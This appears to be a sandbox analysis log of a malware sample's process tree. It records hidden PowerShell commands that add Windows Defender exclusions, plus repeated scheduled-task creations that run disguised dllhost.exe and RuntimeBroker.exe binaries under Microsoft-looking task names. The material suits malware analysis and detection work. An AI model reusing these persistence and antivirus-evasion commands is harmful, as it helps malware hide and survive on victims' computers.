  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostAuxPulse /XML C:\Users\Admin\AppData\Local\Temp\hc-task-Microsoft_Windows_Wininet_CacheHostAuxPulse.xml
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:916
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostAuxPulse /TR "\"C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe\" --backup-listen" /RL LIMITED /SC MINUTE /MO 1 /ST 00:00 /IT
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:564
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3848
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4504
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\dllhost.exe' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4916
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4404
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Caches' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4392
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Caches\wininet' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1480
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3860
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM runtime-host.exe
  2⤵
  - Kills process with taskkill
  PID:3744
- C:\Windows\system32\schtasks.exe
  schtasks /Delete /F /TN HotmailCheckerBetaHost
  2⤵
  PID:364
- C:\Windows\system32\schtasks.exe
  schtasks /Delete /F /TN HotmailCheckerBetaHostPulse
  2⤵
  PID:1060
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM runtime-host.exe
  2⤵
  - Kills process with taskkill
  PID:3244
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHost /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheHost.xml
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2072
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHost /TR "\"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe\" --backup-listen" /RL LIMITED /SC ONLOGON
  2⤵
  PID:1512
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1076
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHostPulse /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheHostPulse.xml
  2⤵
  PID:3396
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHostPulse /TR "\"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe\" --backup-listen" /RL LIMITED /SC MINUTE /MO 1 /ST 00:00
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2732
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4552
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheWatch /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheWatch.xml
  2⤵
  PID:2060
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheWatch /TR "\"C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe\" --backup-watch" /RL LIMITED /SC ONLOGON
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1156
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheGuard /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheGuard.xml
  2⤵
  PID:3404
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheGuard /TR "\"C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe\" --backup-guard" /RL LIMITED /SC ONLOGON
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4980
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheGuardPulse /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheGuardPulse.xml
  2⤵
  PID:1916
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3104
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheGuardPulse /TR "\"C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe\" --backup-guard" /RL LIMITED /SC MINUTE /MO 1 /ST 00:00
  2⤵
  PID:4424
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3804
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHost /XML C:\Users\Admin\AppData\Local\Temp\hc-task-Microsoft_Windows_Wininet_CacheHost.xml
  2⤵
  PID:3796
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHost /TR "\"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe\" --backup-listen" /RL LIMITED /SC ONLOGON /IT
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4148
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3244
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostPulse /XML C:\Users\Admin\AppData\Local\Temp\hc-task-Microsoft_Windows_Wininet_CacheHostPulse.xml
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4044
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3328
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostPulse /TR "\"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe\" --backup-listen" /RL LIMITED /SC MINUTE /MO 1 /ST 00:00 /IT
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4360
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2212
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostAux /XML C:\Users\Admin\AppData\Local\Temp\hc-task-Microsoft_Windows_Wininet_CacheHostAux.xml
  2⤵
  PID:4572
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostAux /TR "\"C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe\" --backup-listen" /RL LIMITED /SC ONLOGON /IT
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2732
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostAuxPulse /XML C:\Users\Admin\AppData\Local\Temp\hc-task-Microsoft_Windows_Wininet_CacheHostAuxPulse.xml
  2⤵
  PID:2060
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostAuxPulse /TR "\"C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe\" --backup-listen" /RL LIMITED /SC MINUTE /MO 1 /ST 00:00 /IT
  2⤵
  PID:3060
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1768
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3404
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1480
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4424
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\dllhost.exe' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4884
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1020
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2732
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Caches' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4260
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Caches\wininet' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4964
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3976
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM runtime-host.exe
  2⤵
  - Kills process with taskkill
  PID:4988
- C:\Windows\system32\schtasks.exe
  schtasks /Delete /F /TN HotmailCheckerBetaHost
  2⤵
  PID:1868
- C:\Windows\system32\schtasks.exe
  schtasks /Delete /F /TN HotmailCheckerBetaHostPulse
  2⤵
  PID:2476
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM runtime-host.exe
  2⤵
  - Kills process with taskkill
  PID:860
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1060
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHost /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheHost.xml
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2952
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4964
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHost /TR "\"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe\" --backup-listen" /RL LIMITED /SC ONLOGON
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2584
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHostPulse /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheHostPulse.xml
  2⤵
  PID:4800
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHostPulse /TR "\"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe\" --backup-listen" /RL LIMITED /SC MINUTE /MO 1 /ST 00:00
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3536
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheWatch /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheWatch.xml
  2⤵
  PID:452
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheWatch /TR "\"C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe\" --backup-watch" /RL LIMITED /SC ONLOGON
  2⤵
  PID:4880
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheGuard /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheGuard.xml
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2604
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1916
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheGuard /TR "\"C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe\" --backup-guard" /RL LIMITED /SC ONLOGON
  2⤵
  PID:3104
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheGuardPulse /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheGuardPulse.xml
  2⤵
  PID:4000
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4260
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheGuardPulse /TR "\"C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe\" --backup-guard" /RL LIMITED /SC MINUTE /MO 1 /ST 00:00
  2⤵
  PID:2636
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHost /XML C:\Users\Admin\AppData\Local\Temp\hc-task-Microsoft_Windows_Wininet_CacheHost.xml
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:60
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4148
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHost /TR "\"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe\" --backup-listen" /RL LIMITED /SC ONLOGON /IT
  2⤵
  PID:3620
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostPulse /XML C:\Users\Admin\AppData\Local\Temp\hc-task-Microsoft_Windows_Wininet_CacheHostPulse.xml
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:64
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostPulse /TR "\"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe\" --backup-listen" /RL LIMITED /SC MINUTE /MO 1 /ST 00:00 /IT
  2⤵
  PID:3684
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostAux /XML C:\Users\Admin\AppData\Local\Temp\hc-task-Microsoft_Windows_Wininet_CacheHostAux.xml
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3328
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostAux /TR "\"C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe\" --backup-listen" /RL LIMITED /SC ONLOGON /IT
  2⤵
  PID:3788
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostAuxPulse /XML C:\Users\Admin\AppData\Local\Temp\hc-task-Microsoft_Windows_Wininet_CacheHostAuxPulse.xml
  2⤵
  PID:2176
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostAuxPulse /TR "\"C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe\" --backup-listen" /RL LIMITED /SC MINUTE /MO 1 /ST 00:00 /IT
  2⤵
  PID:840
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4900
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3744
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2636
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\dllhost.exe' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4072
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3324
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3788
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Caches' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4000
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Caches\wininet' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1992
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4496
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3684
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM runtime-host.exe
  2⤵
  - Kills process with taskkill
  PID:4116
- C:\Windows\system32\schtasks.exe
  schtasks /Delete /F /TN HotmailCheckerBetaHost
  2⤵
  PID:3616
- C:\Windows\system32\schtasks.exe
  schtasks /Delete /F /TN HotmailCheckerBetaHostPulse
  2⤵
  PID:840
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM runtime-host.exe
  2⤵
  - Kills process with taskkill
  PID:4420
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHost /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheHost.xml
  2⤵
  PID:4192
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHost /TR "\"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe\" --backup-listen" /RL LIMITED /SC ONLOGON
  2⤵
  PID:1960
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHostPulse /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheHostPulse.xml
  2⤵
  PID:3172
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHostPulse /TR "\"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe\" --backup-listen" /RL LIMITED /SC MINUTE /MO 1 /ST 00:00
  2⤵
  PID:3620
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheWatch /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheWatch.xml
  2⤵
  PID:1868
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheWatch /TR "\"C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe\" --backup-watch" /RL LIMITED /SC ONLOGON
  2⤵
  PID:4200
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheGuard /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheGuard.xml
  2⤵
  PID:4692
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheGuard /TR "\"C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe\" --backup-guard" /RL LIMITED /SC ONLOGON
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4232
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheGuardPulse /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheGuardPulse.xml
  2⤵
  PID:4572
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheGuardPulse /TR "\"C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe\" --backup-guard" /RL LIMITED /SC MINUTE /MO 1 /ST 00:00
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1832
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHost /XML C:\Users\Admin\AppData\Local\Temp\hc-task-Microsoft_Windows_Wininet_CacheHost.xml
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3616
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHost /TR "\"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe\" --backup-listen" /RL LIMITED /SC ONLOGON /IT
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1736
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostPulse /XML C:\Users\Admin\AppData\Local\Temp\hc-task-Microsoft_Windows_Wininet_CacheHostPulse.xml
  2⤵
  PID:3372
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostPulse /TR "\"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe\" --backup-listen" /RL LIMITED /SC MINUTE /MO 1 /ST 00:00 /IT
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4420
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostAux /XML C:\Users\Admin\AppData\Local\Temp\hc-task-Microsoft_Windows_Wininet_CacheHostAux.xml
  2⤵
  PID:516
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostAux /TR "\"C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe\" --backup-listen" /RL LIMITED /SC ONLOGON /IT
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2104
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostAuxPulse /XML C:\Users\Admin\AppData\Local\Temp\hc-task-Microsoft_Windows_Wininet_CacheHostAuxPulse.xml
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3796
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostAuxPulse /TR "\"C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe\" --backup-listen" /RL LIMITED /SC MINUTE /MO 1 /ST 00:00 /IT
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1620
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1868
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2584
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\dllhost.exe' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1640
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4552
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Caches' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2392
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Caches\wininet' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3472
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2000
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM runtime-host.exe
  2⤵
  - Kills process with taskkill
  PID:1124
- C:\Windows\system32\schtasks.exe
  schtasks /Delete /F /TN HotmailCheckerBetaHost
  2⤵
  PID:4552
- C:\Windows\system32\schtasks.exe
  schtasks /Delete /F /TN HotmailCheckerBetaHostPulse
  2⤵
  PID:704
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM runtime-host.exe
  2⤵
  - Kills process with taskkill
  PID:216
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHost /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheHost.xml
  2⤵
  PID:1512
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHost /TR "\"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe\" --backup-listen" /RL LIMITED /SC ONLOGON
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2076
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHostPulse /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheHostPulse.xml
  2⤵
  PID:1832
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHostPulse /TR "\"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe\" --backup-listen" /RL LIMITED /SC MINUTE /MO 1 /ST 00:00
  2⤵
  PID:4360
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheWatch /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheWatch.xml
  2⤵
  PID:1992
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheWatch /TR "\"C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe\" --backup-watch" /RL LIMITED /SC ONLOGON
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4596
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheGuard /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheGuard.xml
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2176
